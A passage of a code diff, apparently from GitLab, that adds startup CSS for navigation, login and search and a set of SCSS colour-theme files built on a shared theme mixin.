+.nav-sidebar.sidebar-collapsed-desktop .badge.badge-pill:not(.fly-out-badge),
+.nav-sidebar.sidebar-collapsed-desktop .sidebar-context-title,
+.nav-sidebar.sidebar-collapsed-desktop .nav-item-name {
+ border: 0;
+ clip: rect(0, 0, 0, 0);
+ height: 1px;
+ margin: -1px;
+ overflow: hidden;
+ padding: 0;
+ position: absolute;
+ white-space: nowrap;
+ width: 1px;
+}
+.nav-sidebar.sidebar-collapsed-desktop .sidebar-top-level-items > li > a {
+ min-height: 45px;
+}
+.nav-sidebar.sidebar-collapsed-desktop .fly-out-top-item {
+ display: block;
+}
+.nav-sidebar.sidebar-collapsed-desktop .avatar-container {
+ margin: 0 auto;
+}
+.nav-sidebar.sidebar-expanded-mobile {
+ left: 0;
+}
+.nav-sidebar a {
+ text-decoration: none;
+}
+.nav-sidebar ul {
+ padding-left: 0;
+ list-style: none;
+}
+.nav-sidebar li {
+ white-space: nowrap;
+}
+.nav-sidebar li a {
+ display: flex;
+ align-items: center;
+ padding: 12px 16px;
+ color: #666;
+}
+.nav-sidebar li .nav-item-name {
+ flex: 1;
+}
+.nav-sidebar li.active > a {
+ font-weight: 600;
+}
+
+@media (max-width: 767.98px) {
+ .nav-sidebar {
+ left: -220px;
+ }
+}
+.nav-sidebar .nav-icon-container {
+ display: flex;
+ margin-right: 8px;
+}
+.nav-sidebar .fly-out-top-item {
+ display: none;
+}
+.nav-sidebar svg {
+ height: 16px;
+ width: 16px;
+}
+
+@media (min-width: 768px) and (max-width: 1199px) {
+ .nav-sidebar:not(.sidebar-expanded-mobile) {
+ width: 50px;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .nav-sidebar-inner-scroll {
+ overflow-x: hidden;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .badge.badge-pill:not(.fly-out-badge),
+ .nav-sidebar:not(.sidebar-expanded-mobile) .sidebar-context-title,
+ .nav-sidebar:not(.sidebar-expanded-mobile) .nav-item-name {
+ border: 0;
+ clip: rect(0, 0, 0, 0);
+ height: 1px;
+ margin: -1px;
+ overflow: hidden;
+ padding: 0;
+ position: absolute;
+ white-space: nowrap;
+ width: 1px;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .sidebar-top-level-items > li > a {
+ min-height: 45px;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .fly-out-top-item {
+ display: block;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .avatar-container {
+ margin: 0 auto;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .context-header {
+ height: 60px;
+ width: 50px;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .context-header a {
+ padding: 10px 4px;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .sidebar-top-level-items > li .sidebar-sub-level-items:not(.flyout-list) {
+ display: none;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .nav-icon-container {
+ margin-right: 0;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button {
+ padding: 16px;
+ width: 49px;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button .collapse-text,
+ .nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button .icon-chevron-double-lg-left {
+ display: none;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button .icon-chevron-double-lg-right {
+ display: block;
+ margin: 0;
+ }
+}
+.nav-sidebar-inner-scroll {
+ height: 100%;
+ width: 100%;
+ overflow: auto;
+}
+.sidebar-sub-level-items {
+ display: none;
+ padding-bottom: 8px;
+}
+.sidebar-sub-level-items > li a {
+ padding: 8px 16px 8px 40px;
+}
+.sidebar-top-level-items {
+ margin-bottom: 60px;
+}
+
+@media (min-width: 576px) {
+ .sidebar-top-level-items > li > a {
+ margin-right: 1px;
+ }
+}
+.sidebar-top-level-items > li .badge.badge-pill {
+ background-color: rgba(0, 0, 0, 0.08);
+ color: #666;
+}
+.sidebar-top-level-items > li.active {
+ background: rgba(0, 0, 0, 0.04);
+}
+.sidebar-top-level-items > li.active > a {
+ margin-left: 4px;
+ padding-left: 12px;
+}
+.sidebar-top-level-items > li.active .badge.badge-pill {
+ font-weight: 600;
+}
+.sidebar-top-level-items > li.active .sidebar-sub-level-items:not(.is-fly-out-only) {
+ display: block;
+}
+.toggle-sidebar-button,
+.close-nav-button {
+ width: 219px;
+ position: fixed;
+ height: 48px;
+ bottom: 0;
+ padding: 0 16px;
+ background-color: #fafafa;
+ border: 0;
+ border-top: 1px solid #dbdbdb;
+ color: #666;
+ display: flex;
+ align-items: center;
+}
+.toggle-sidebar-button svg,
+.close-nav-button svg {
+ margin-right: 8px;
+}
+.toggle-sidebar-button .icon-chevron-double-lg-right,
+.close-nav-button .icon-chevron-double-lg-right {
+ display: none;
+}
+.collapse-text {
+ white-space: nowrap;
+ overflow: hidden;
+}
+.sidebar-collapsed-desktop .context-header {
+ height: 60px;
+ width: 50px;
+}
+.sidebar-collapsed-desktop .context-header a {
+ padding: 10px 4px;
+}
+.sidebar-collapsed-desktop .sidebar-top-level-items > li .sidebar-sub-level-items:not(.flyout-list) {
+ display: none;
+}
+.sidebar-collapsed-desktop .nav-icon-container {
+ margin-right: 0;
+}
+.sidebar-collapsed-desktop .toggle-sidebar-button {
+ padding: 16px;
+ width: 49px;
+}
+.sidebar-collapsed-desktop .toggle-sidebar-button .collapse-text,
+.sidebar-collapsed-desktop .toggle-sidebar-button .icon-chevron-double-lg-left {
+ display: none;
+}
+.sidebar-collapsed-desktop .toggle-sidebar-button .icon-chevron-double-lg-right {
+ display: block;
+ margin: 0;
+}
+.fly-out-top-item > a {
+ display: flex;
+}
+.fly-out-top-item .fly-out-badge {
+ margin-left: 8px;
+}
+.fly-out-top-item-name {
+ flex: 1;
+}
+.close-nav-button {
+ display: none;
+}
+
+@media (max-width: 767.98px) {
+ .close-nav-button {
+ display: flex;
+ }
+ .toggle-sidebar-button {
+ display: none;
+ }
+}
+table.table {
+ margin-bottom: 16px;
+}
+table.table .dropdown-menu a {
+ text-decoration: none;
+}
+table.table .success,
+table.table .info {
+ color: #fff;
+}
+table.table .success a:not(.btn),
+table.table .info a:not(.btn) {
+ text-decoration: underline;
+ color: #fff;
+}
+pre {
+ font-family: "Menlo", "DejaVu Sans Mono", "Liberation Mono", "Consolas", "Ubuntu Mono", "Courier New", "andale mono", "lucida console", monospace;
+ display: block;
+ padding: 8px 12px;
+ margin: 0 0 8px;
+ font-size: 13px;
+ word-break: break-all;
+ word-wrap: break-word;
+ color: #303030;
+ background-color: #fafafa;
+ border: 1px solid #dbdbdb;
+ border-radius: 2px;
+}
+.monospace {
+ font-family: "Menlo", "DejaVu Sans Mono", "Liberation Mono", "Consolas", "Ubuntu Mono", "Courier New", "andale mono", "lucida console", monospace;
+}
+input::-moz-placeholder,
+textarea::-moz-placeholder {
+ color: #868686;
+ opacity: 1;
+}
+input::-ms-input-placeholder,
+textarea::-ms-input-placeholder {
+ color: #868686;
+}
+input:-ms-input-placeholder,
+textarea:-ms-input-placeholder {
+ color: #868686;
+}
+svg {
+ fill: currentColor;
+}
+
+svg.s12 {
+ width: 12px;
+ height: 12px;
+}
+
+svg.s16 {
+ width: 16px;
+ height: 16px;
+}
+
+svg.s18 {
+ width: 18px;
+ height: 18px;
+}
+
+svg.s12 {
+ vertical-align: -1px;
+}
+
+svg.s16 {
+ vertical-align: -3px;
+}
+.sr-only {
+ position: absolute;
+ width: 1px;
+ height: 1px;
+ padding: 0;
+ margin: -1px;
+ overflow: hidden;
+ clip: rect(0, 0, 0, 0);
+ border: 0;
+}
+table.code {
+ width: 100%;
+ font-family: "Menlo", "DejaVu Sans Mono", "Liberation Mono", "Consolas", "Ubuntu Mono", "Courier New", "andale mono", "lucida console", monospace;
+ border: 0;
+ border-collapse: separate;
+ margin: 0;
+ padding: 0;
+ table-layout: fixed;
+ border-radius: 0 0 4px 4px;
+}
+.frame .badge.badge-pill {
+ position: absolute;
+ background-color: #428fdc;
+ color: #fff;
+ border: #fff 1px solid;
+ min-height: 16px;
+ padding: 5px 8px;
+ border-radius: 12px;
+}
+.frame .badge.badge-pill {
+ transform: translate(-50%, -50%);
+}
+.color-label {
+ padding: 0 0.5rem;
+ line-height: 16px;
+ border-radius: 100px;
+ color: #fff;
+}
+.label-link {
+ display: inline-flex;
+ vertical-align: text-bottom;
+}
+.label-link .label {
+ vertical-align: inherit;
+ font-size: 12px;
+}
+.login-page .container {
+ max-width: 960px;
+}
+.login-page .navbar-gitlab .container {
+ max-width: none;
+}
+.login-page .flash-container {
+ margin-bottom: 16px;
+}
+.login-page .brand-holder {
+ font-size: 18px;
+ line-height: 1.5;
+}
+.login-page .brand-holder p {
+ font-size: 16px;
+ color: #888;
+}
+.login-page .brand-holder h3 {
+ font-size: 22px;
+}
+.login-page .brand-holder img {
+ max-width: 100%;
+ margin-bottom: 30px;
+}
+.login-page .brand-holder a {
+ font-weight: 600;
+}
+.login-page p {
+ font-size: 13px;
+}
+.login-page .login-box,
+.login-page .omniauth-container {
+ box-shadow: 0 0 0 1px #dbdbdb;
+ border-bottom-right-radius: 0.25rem;
+ border-bottom-left-radius: 0.25rem;
+ padding: 15px;
+}
+.login-page .login-box .nav .active a,
+.login-page .omniauth-container .nav .active a {
+ background: transparent;
+}
+.login-page .login-box .login-body,
+.login-page .omniauth-container .login-body {
+ font-size: 13px;
+}
+.login-page .login-box .login-body input + p,
+.login-page .login-box .login-body input ~ p.field-validation,
+.login-page .omniauth-container .login-body input + p,
+.login-page .omniauth-container .login-body input ~ p.field-validation {
+ margin-top: 5px;
+}
+.login-page .login-box .login-body .username .validation-success,
+.login-page .omniauth-container .login-body .username .validation-success {
+ color: #217645;
+}
+.login-page .login-box .login-body .username .validation-error,
+.login-page .omniauth-container .login-body .username .validation-error {
+ color: #dd2b0e;
+}
+.login-page .omniauth-container {
+ border-radius: 0.25rem;
+ font-size: 13px;
+}
+.login-page .omniauth-container p {
+ margin: 0;
+}
+.login-page .omniauth-container form {
+ width: 48%;
+ padding: 0;
+ border: 0;
+ background: none;
+ margin-bottom: 16px;
+}
+
+@media (max-width: 991.98px) {
+ .login-page .omniauth-container form {
+ width: 100%;
+ }
+}
+.login-page .omniauth-container .omniauth-btn {
+ width: 100%;
+ padding: 8px;
+}
+.login-page .omniauth-container .omniauth-btn img {
+ width: 1.125rem;
+ height: 1.125rem;
+ margin-right: 16px;
+}
+.login-page .new-session-tabs {
+ display: flex;
+ box-shadow: 0 0 0 1px #dbdbdb;
+ border-top-right-radius: 4px;
+ border-top-left-radius: 4px;
+}
+.login-page .new-session-tabs li {
+ flex: 1;
+ text-align: center;
+ border-left: 1px solid #dbdbdb;
+}
+.login-page .new-session-tabs li:first-of-type {
+ border-left: 0;
+ border-top-left-radius: 4px;
+}
+.login-page .new-session-tabs li:last-of-type {
+ border-top-right-radius: 4px;
+}
+.login-page .new-session-tabs li:not(.active) {
+ background-color: #fafafa;
+}
+.login-page .new-session-tabs li a {
+ width: 100%;
+ font-size: 18px;
+}
+.login-page .new-session-tabs li.active > a {
+ cursor: default;
+}
+.login-page .submit-container {
+ margin-top: 16px;
+}
+.login-page input[type='submit'] {
+ margin-bottom: 0;
+}
+.login-page .devise-errors h2 {
+ margin-top: 0;
+ font-size: 14px;
+ color: #ae1800;
+}
+.devise-layout-html {
+ margin: 0;
+ padding: 0;
+ height: 100%;
+}
+.devise-layout-html body {
+ height: calc(100% - 51px);
+ margin: 0;
+ padding: 0;
+}
+.devise-layout-html body.navless {
+ height: calc(100% - 11px);
+}
+.devise-layout-html body .page-wrap {
+ min-height: 100%;
+ position: relative;
+}
+.devise-layout-html body .footer-container,
+.devise-layout-html body hr.footer-fixed {
+ position: absolute;
+ bottom: 0;
+ left: 0;
+ right: 0;
+ height: 40px;
+ background: #fff;
+}
+.devise-layout-html body .login-page-broadcast {
+ margin-top: 40px;
+}
+.devise-layout-html body .navless-container {
+ padding: 65px 15px;
+}
+
+@media (max-width: 575.98px) {
+ .devise-layout-html body .navless-container {
+ padding: 0 15px 65px;
+ }
+}
+.milestones {
+ padding: 8px;
+ margin-top: 8px;
+ border-radius: 4px;
+ background-color: #dbdbdb;
+}
+.search {
+ margin: 0 8px;
+}
+.search form {
+ margin: 0;
+ padding: 4px;
+ width: 200px;
+ line-height: 24px;
+ height: 32px;
+ border: 0;
+ border-radius: 4px;
+}
+
+@media (min-width: 1200px) {
+ .search form {
+ width: 320px;
+ }
+}
+.search .search-input {
+ border: 0;
+ font-size: 14px;
+ padding: 0 20px 0 0;
+ margin-left: 5px;
+ line-height: 25px;
+ width: 98%;
+ color: #fff;
+ background: none;
+}
+.search .search-input-container {
+ display: flex;
+ position: relative;
+}
+.search .search-input-wrap {
+ width: 100%;
+}
+.search .search-input-wrap .search-icon,
+.search .search-input-wrap .clear-icon {
+ position: absolute;
+ right: 5px;
+ top: 4px;
+}
+.search .search-input-wrap .search-icon {
+ -moz-user-select: none;
+ user-select: none;
+}
+.search .search-input-wrap .clear-icon {
+ display: none;
+}
+.search .search-input-wrap .dropdown {
+ position: static;
+}
+.search .search-input-wrap .dropdown-menu {
+ left: -5px;
+ max-height: 400px;
+ overflow: auto;
+}
+
+@media (min-width: 1200px) {
+ .search .search-input-wrap .dropdown-menu {
+ width: 320px;
+ }
+}
+.search .search-input-wrap .dropdown-content {
+ max-height: 382px;
+}
+.settings {
+ border-top: 1px solid #dbdbdb;
+}
+.settings:first-of-type {
+ margin-top: 10px;
+ border: 0;
+}
+.settings + div .settings:first-of-type {
+ margin-top: 0;
+ border-top: 1px solid #dbdbdb;
+}
+.avatar, .avatar-container {
+ float: left;
+ margin-right: 16px;
+ border-radius: 50%;
+ border: 1px solid #f5f5f5;
+}
+.s16.avatar, .s16.avatar-container {
+ width: 16px;
+ height: 16px;
+ margin-right: 8px;
+}
+.s18.avatar, .s18.avatar-container {
+ width: 18px;
+ height: 18px;
+ margin-right: 8px;
+}
+.s40.avatar, .s40.avatar-container {
+ width: 40px;
+ height: 40px;
+ margin-right: 8px;
+}
+.avatar {
+ transition-property: none;
+ width: 40px;
+ height: 40px;
+ padding: 0;
+ background: #fdfdfd;
+ overflow: hidden;
+ border-color: rgba(0, 0, 0, 0.1);
+}
+.avatar.center {
+ font-size: 14px;
+ line-height: 1.8em;
+ text-align: center;
+}
+.avatar.avatar-tile {
+ border-radius: 0;
+ border: 0;
+}
+.avatar-container {
+ overflow: hidden;
+ display: flex;
+}
+.avatar-container a {
+ width: 100%;
+ height: 100%;
+ display: flex;
+ text-decoration: none;
+}
+.avatar-container .avatar {
+ border-radius: 0;
+ border: 0;
+ height: auto;
+ width: 100%;
+ margin: 0;
+ align-self: center;
+}
+.avatar-container.s40 {
+ min-width: 40px;
+ min-height: 40px;
+}
+.rect-avatar {
+ border-radius: 2px;
+}
+.rect-avatar.s16 {
+ border-radius: 2px;
+}
+.rect-avatar.s18 {
+ border-radius: 2px;
+}
+.rect-avatar.s40 {
+ border-radius: 4px;
+}
+.tab-width-8 {
+ -moz-tab-size: 8;
+ tab-size: 8;
+}
+.gl-sr-only {
+ border: 0;
+ clip: rect(0, 0, 0, 0);
+ height: 1px;
+ margin: -1px;
+ overflow: hidden;
+ padding: 0;
+ position: absolute;
+ white-space: nowrap;
+ width: 1px;
+}
+.gl-mt-5 {
+ margin-top: 1rem;
+}
+.gl-ml-3 {
+ margin-left: 0.5rem;
+}
+.content-wrapper > .alert-wrapper,
+#content-body, .modal-dialog {
+ display: block;
+}
+@import 'cloaking';
+@include cloak-startup-scss(none);
diff --git a/app/assets/stylesheets/themes/_dark.scss b/app/assets/stylesheets/themes/_dark.scss
index e2b4d6b8e7a..bfbcb8c13c6 100644
--- a/app/assets/stylesheets/themes/_dark.scss
+++ b/app/assets/stylesheets/themes/_dark.scss
@@ -11,15 +11,6 @@ $gray-800: #f2f2f2;
$gray-900: #fafafa;
$gray-950: #fff;
-$gl-gray-100: #333;
-$gl-gray-200: #555;
-$gl-gray-350: #666;
-$gl-gray-400: #777;
-$gl-gray-500: #999;
-$gl-gray-600: #aaa;
-$gl-gray-700: #ccc;
-$gl-gray-800: #ddd;
-
$green-50: #072b15;
$green-100: #0a4020;
$green-200: #0e5a2d;
@@ -94,6 +85,86 @@ $white-light: #2b2b2b;
$white-normal: #333;
$white-dark: #444;
+$border-color: #4f4f4f;
+
+body.gl-dark {
+ --gray-10: #{$gray-10};
+ --gray-50: #{$gray-50};
+ --gray-100: #{$gray-100};
+ --gray-200: #{$gray-200};
+ --gray-300: #{$gray-300};
+ --gray-400: #{$gray-400};
+ --gray-500: #{$gray-500};
+ --gray-600: #{$gray-600};
+ --gray-700: #{$gray-700};
+ --gray-800: #{$gray-800};
+ --gray-900: #{$gray-900};
+ --gray-950: #{$gray-950};
+
+ --green-50: #{$green-50};
+ --green-100: #{$green-100};
+ --green-200: #{$green-200};
+ --green-300: #{$green-300};
+ --green-400: #{$green-400};
+ --green-500: #{$green-500};
+ --green-600: #{$green-600};
+ --green-700: #{$green-700};
+ --green-800: #{$green-800};
+ --green-900: #{$green-900};
+ --green-950: #{$green-950};
+
+ --blue-50: #{$blue-50};
+ --blue-100: #{$blue-100};
+ --blue-200: #{$blue-200};
+ --blue-300: #{$blue-300};
+ --blue-400: #{$blue-400};
+ --blue-500: #{$blue-500};
+ --blue-600: #{$blue-600};
+ --blue-700: #{$blue-700};
+ --blue-800: #{$blue-800};
+ --blue-900: #{$blue-900};
+ --blue-950: #{$blue-950};
+
+ --orange-50: #{$orange-50};
+ --orange-100: #{$orange-100};
+ --orange-200: #{$orange-200};
+ --orange-300: #{$orange-300};
+ --orange-400: #{$orange-400};
+ --orange-500: #{$orange-500};
+ --orange-600: #{$orange-600};
+ --orange-700: #{$orange-700};
+ --orange-800: #{$orange-800};
+ --orange-900: #{$orange-900};
+ --orange-950: #{$orange-950};
+
+ --red-50: #{$red-50};
+ --red-100: #{$red-100};
+ --red-200: #{$red-200};
+ --red-300: #{$red-300};
+ --red-400: #{$red-400};
+ --red-500: #{$red-500};
+ --red-600: #{$red-600};
+ --red-700: #{$red-700};
+ --red-800: #{$red-800};
+ --red-900: #{$red-900};
+ --red-950: #{$red-950};
+
+ --indigo-50: #{$indigo-50};
+ --indigo-100: #{$indigo-100};
+ --indigo-200: #{$indigo-200};
+ --indigo-300: #{$indigo-300};
+ --indigo-400: #{$indigo-400};
+ --indigo-500: #{$indigo-500};
+ --indigo-600: #{$indigo-600};
+ --indigo-700: #{$indigo-700};
+ --indigo-800: #{$indigo-800};
+ --indigo-900: #{$indigo-900};
+ --indigo-950: #{$indigo-950};
+
+ --gl-text-color: #{$gray-900};
+ --border-color: #{$border-color};
+}
+
$border-white-light: $gray-900;
$border-white-normal: $gray-900;
diff --git a/app/assets/stylesheets/themes/theme_blue.scss b/app/assets/stylesheets/themes/theme_blue.scss
new file mode 100644
index 00000000000..9f9802f77f4
--- /dev/null
+++ b/app/assets/stylesheets/themes/theme_blue.scss
@@ -0,0 +1,14 @@
+@import './theme_helper';
+
+body {
+ &.ui-blue {
+ @include gitlab-theme(
+ $theme-blue-200,
+ $theme-blue-500,
+ $theme-blue-700,
+ $theme-blue-800,
+ $theme-blue-900,
+ $white
+ );
+ }
+}
diff --git a/app/assets/stylesheets/themes/theme_dark.scss b/app/assets/stylesheets/themes/theme_dark.scss
new file mode 100644
index 00000000000..e6db6cd2a5e
--- /dev/null
+++ b/app/assets/stylesheets/themes/theme_dark.scss
@@ -0,0 +1,14 @@
+@import './theme_helper';
+
+body {
+ &.ui-dark {
+ @include gitlab-theme(
+ $gray-200,
+ $gray-300,
+ $gray-500,
+ $gray-700,
+ $gray-900,
+ $white
+ );
+ }
+}
diff --git a/app/assets/stylesheets/themes/theme_green.scss b/app/assets/stylesheets/themes/theme_green.scss
new file mode 100644
index 00000000000..6dcad6e1301
--- /dev/null
+++ b/app/assets/stylesheets/themes/theme_green.scss
@@ -0,0 +1,14 @@
+@import './theme_helper';
+
+body {
+ &.ui-green {
+ @include gitlab-theme(
+ $theme-green-200,
+ $theme-green-500,
+ $theme-green-700,
+ $theme-green-800,
+ $theme-green-900,
+ $white
+ );
+ }
+}
diff --git a/app/assets/stylesheets/themes/theme_helper.scss b/app/assets/stylesheets/themes/theme_helper.scss
new file mode 100644
index 00000000000..85115cfd5d9
--- /dev/null
+++ b/app/assets/stylesheets/themes/theme_helper.scss
@@ -0,0 +1,204 @@
+@import '../page_bundles/mixins_and_variables_and_functions';
+/**
+ * Styles the GitLab application with a specific color theme
+ */
+@mixin gitlab-theme(
+ $search-and-nav-links,
+ $active-tab-border,
+ $border-and-box-shadow,
+ $sidebar-text,
+ $nav-svg-color,
+ $color-alternate
+) {
+ // Header
+
+ .navbar-gitlab {
+ background-color: $nav-svg-color;
+
+ .navbar-collapse {
+ color: $search-and-nav-links;
+ }
+
+ .container-fluid {
+ .navbar-toggler {
+ border-left: 1px solid lighten($border-and-box-shadow, 10%);
+
+ svg {
+ fill: $search-and-nav-links;
+ }
+ }
+ }
+
+ .navbar-sub-nav,
+ .navbar-nav {
+ > li {
+ > a,
+ > button {
+ &:hover,
+ &:focus {
+ background-color: rgba($search-and-nav-links, 0.2);
+ }
+ }
+
+ &.active,
+ &.dropdown.show {
+ > a,
+ > button {
+ color: $nav-svg-color;
+ background-color: $color-alternate;
+ }
+ }
+
+ &.line-separator {
+ border-left: 1px solid rgba($search-and-nav-links, 0.2);
+ }
+ }
+ }
+
+ .navbar-sub-nav {
+ color: $search-and-nav-links;
+ }
+
+ .nav {
+ > li {
+ color: $search-and-nav-links;
+
+ > a {
+ &.header-user-dropdown-toggle {
+ .header-user-avatar {
+ border-color: $search-and-nav-links;
+ }
+
+ .header-user-notification-dot {
+ border: 2px solid $nav-svg-color;
+ }
+ }
+
+ &:hover,
+ &:focus {
+ @include media-breakpoint-up(sm) {
+ background-color: rgba($search-and-nav-links, 0.2);
+ }
+
+ svg {
+ fill: currentColor;
+ }
+
+ &.header-user-dropdown-toggle .header-user-notification-dot {
+ border-color: $nav-svg-color + 33;
+ }
+ }
+ }
+
+ &.active > a,
+ &.dropdown.show > a {
+ color: $nav-svg-color;
+ background-color: $color-alternate;
+
+ &:hover {
+ svg {
+ fill: $nav-svg-color;
+ }
+ }
+
+ &.header-user-dropdown-toggle .header-user-notification-dot {
+ border-color: $white;
+ }
+ }
+
+ .impersonated-user,
+ .impersonated-user:hover {
+ svg {
+ fill: $nav-svg-color;
+ }
+ }
+ }
+ }
+ }
+
+ .navbar .title {
+ > a {
+ &:hover,
+ &:focus {
+ background-color: rgba($search-and-nav-links, 0.2);
+ }
+ }
+ }
+
+ .search {
+ form {
+ background-color: rgba($search-and-nav-links, 0.2);
+
+ &:hover {
+ background-color: rgba($search-and-nav-links, 0.3);
+ }
+ }
+
+ .search-input::placeholder {
+ color: rgba($search-and-nav-links, 0.8);
+ }
+
+ .search-input-wrap {
+ .search-icon,
+ .clear-icon {
+ fill: rgba($search-and-nav-links, 0.8);
+ }
+ }
+
+ &.search-active {
+ form {
+ background-color: $white;
+ }
+
+ .search-input-wrap {
+ .search-icon {
+ fill: rgba($search-and-nav-links, 0.8);
+ }
+ }
+ }
+ }
+
+ // Sidebar
+ .nav-sidebar li.active {
+ box-shadow: inset 4px 0 0 $border-and-box-shadow;
+
+ > a {
+ color: $sidebar-text;
+ }
+
+ .nav-icon-container svg {
+ fill: $sidebar-text;
+ }
+ }
+
+ .sidebar-top-level-items > li.active .badge.badge-pill {
+ color: $sidebar-text;
+ }
+
+ .nav-links li {
+ &.active a,
+ &.md-header-tab.active button,
+ a.active {
+ border-bottom: 2px solid $active-tab-border;
+
+ .badge.badge-pill {
+ font-weight: $gl-font-weight-bold;
+ }
+ }
+ }
+
+ .branch-header-title {
+ color: $border-and-box-shadow;
+ }
+
+ .ide-sidebar-link {
+ &.active {
+ color: $border-and-box-shadow;
+ box-shadow: inset 3px 0 $border-and-box-shadow;
+
+ &.is-right {
+ box-shadow: inset -3px 0 $border-and-box-shadow;
+ }
+ }
+ }
+}
diff --git a/app/assets/stylesheets/themes/theme_indigo.scss b/app/assets/stylesheets/themes/theme_indigo.scss
new file mode 100644
index 00000000000..bbf14afcca2
--- /dev/null
+++ b/app/assets/stylesheets/themes/theme_indigo.scss
@@ -0,0 +1,14 @@
+@import './theme_helper';
+
+body {
+ &.ui-indigo {
+ @include gitlab-theme(
+ $indigo-200,
+ $indigo-500,
+ $indigo-700,
+ $indigo-800,
+ $indigo-900,
+ $white
+ );
+ }
+}
diff --git a/app/assets/stylesheets/themes/theme_light.scss b/app/assets/stylesheets/themes/theme_light.scss
new file mode 100644
index 00000000000..58003db4236
--- /dev/null
+++ b/app/assets/stylesheets/themes/theme_light.scss
@@ -0,0 +1,129 @@
+@import './theme_helper';
+
+body {
+ &.ui-light {
+ @include gitlab-theme(
+ $gray-500,
+ $gray-700,
+ $gray-500,
+ $gray-500,
+ $gray-50,
+ $gray-500
+ );
+
+ .navbar-gitlab {
+ background-color: $gray-50;
+ box-shadow: 0 1px 0 0 $border-color;
+
+ .logo-text svg {
+ fill: $gray-900;
+ }
+
+ .navbar-sub-nav,
+ .navbar-nav {
+ > li {
+ > a:hover,
+ > a:focus,
+ > button:hover {
+ color: $gray-900;
+ }
+
+ &.active > a,
+ &.active > a:hover,
+ &.active > button {
+ color: $white;
+ }
+ }
+ }
+
+ .container-fluid {
+ .navbar-toggler,
+ .navbar-toggler:hover {
+ color: $gray-500;
+ border-left: 1px solid $gray-100;
+ }
+ }
+ }
+
+ .search {
+ form {
+ background-color: $white;
+ box-shadow: inset 0 0 0 1px $border-color;
+
+ &:hover {
+ background-color: $white;
+ box-shadow: inset 0 0 0 1px $blue-200;
+ }
+ }
+
+ .search-input-wrap {
+ .search-icon {
+ fill: $gray-100;
+ }
+
+ .search-input {
+ color: $gl-text-color;
+ }
+ }
+ }
+
+ .nav-sidebar li.active {
+ > a {
+ color: $gray-900;
+ }
+
+ svg {
+ fill: $gray-900;
+ }
+ }
+
+ .sidebar-top-level-items > li.active .badge.badge-pill {
+ color: $gray-900;
+ }
+ }
+
+ &.gl-dark {
+ .logo-text svg {
+ fill: $gl-text-color;
+ }
+
+ .navbar-gitlab {
+ background-color: $gray-50;
+
+ .navbar-sub-nav,
+ .navbar-nav {
+ li {
+ > a:hover,
+ > a:focus,
+ > button:hover,
+ > button:focus {
+ color: $gl-text-color;
+ background-color: $gray-200;
+ }
+ }
+
+ li.active,
+ li.dropdown.show {
+ > a,
+ > button {
+ color: $gl-text-color;
+ background-color: $gray-200;
+ }
+ }
+ }
+
+ .search {
+ form {
+ background-color: $gray-100;
+ box-shadow: inset 0 0 0 1px $border-color;
+
+ &:active,
+ &:hover {
+ background-color: $gray-100;
+ box-shadow: inset 0 0 0 1px $blue-200;
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/stylesheets/themes/theme_light_blue.scss b/app/assets/stylesheets/themes/theme_light_blue.scss
new file mode 100644
index 00000000000..07d1c60a4c6
--- /dev/null
+++ b/app/assets/stylesheets/themes/theme_light_blue.scss
@@ -0,0 +1,14 @@
+@import './theme_helper';
+
+body {
+ &.ui-light-blue {
+ @include gitlab-theme(
+ $theme-light-blue-200,
+ $theme-light-blue-500,
+ $theme-light-blue-500,
+ $theme-light-blue-700,
+ $theme-light-blue-700,
+ $white
+ );
+ }
+}
diff --git a/app/assets/stylesheets/themes/theme_light_green.scss b/app/assets/stylesheets/themes/theme_light_green.scss
new file mode 100644
index 00000000000..e122501b93c
--- /dev/null
+++ b/app/assets/stylesheets/themes/theme_light_green.scss
@@ -0,0 +1,14 @@
+@import './theme_helper';
+
+body {
+ &.ui-light-green {
+ @include gitlab-theme(
+ $theme-green-200,
+ $theme-green-500,
+ $theme-green-500,
+ $theme-light-green-700,
+ $theme-light-green-700,
+ $white
+ );
+ }
+}
diff --git a/app/assets/stylesheets/themes/theme_light_indigo.scss b/app/assets/stylesheets/themes/theme_light_indigo.scss
new file mode 100644
index 00000000000..5b607238ed9
--- /dev/null
+++ b/app/assets/stylesheets/themes/theme_light_indigo.scss
@@ -0,0 +1,14 @@
+@import './theme_helper';
+
+body {
+ &.ui-light-indigo {
+ @include gitlab-theme(
+ $indigo-200,
+ $indigo-500,
+ $indigo-500,
+ $indigo-700,
+ $indigo-700,
+ $white
+ );
+ }
+}
diff --git a/app/assets/stylesheets/themes/theme_light_red.scss b/app/assets/stylesheets/themes/theme_light_red.scss
new file mode 100644
index 00000000000..fd3980183f3
--- /dev/null
+++ b/app/assets/stylesheets/themes/theme_light_red.scss
@@ -0,0 +1,14 @@
+@import './theme_helper';
+
+body {
+ &.ui-light-red {
+ @include gitlab-theme(
+ $theme-light-red-200,
+ $theme-light-red-500,
+ $theme-light-red-500,
+ $theme-light-red-700,
+ $theme-light-red-700,
+ $white
+ );
+ }
+}
diff --git a/app/assets/stylesheets/themes/theme_red.scss b/app/assets/stylesheets/themes/theme_red.scss
new file mode 100644
index 00000000000..fa5ecc09f50
--- /dev/null
+++ b/app/assets/stylesheets/themes/theme_red.scss
@@ -0,0 +1,14 @@
+@import './theme_helper';
+
+body {
+ &.ui-red {
+ @include gitlab-theme(
+ $theme-red-200,
+ $theme-red-500,
+ $theme-red-700,
+ $theme-red-800,
+ $theme-red-900,
+ $white
+ );
+ }
+}
diff --git a/app/assets/stylesheets/utilities.scss b/app/assets/stylesheets/utilities.scss
index 99a13cc4e44..9c666331c4f 100644
--- a/app/assets/stylesheets/utilities.scss
+++ b/app/assets/stylesheets/utilities.scss
@@ -112,10 +112,47 @@
top: 66vh;
}
-// Remove when https://gitlab.com/gitlab-org/gitlab-ui/-/issues/871
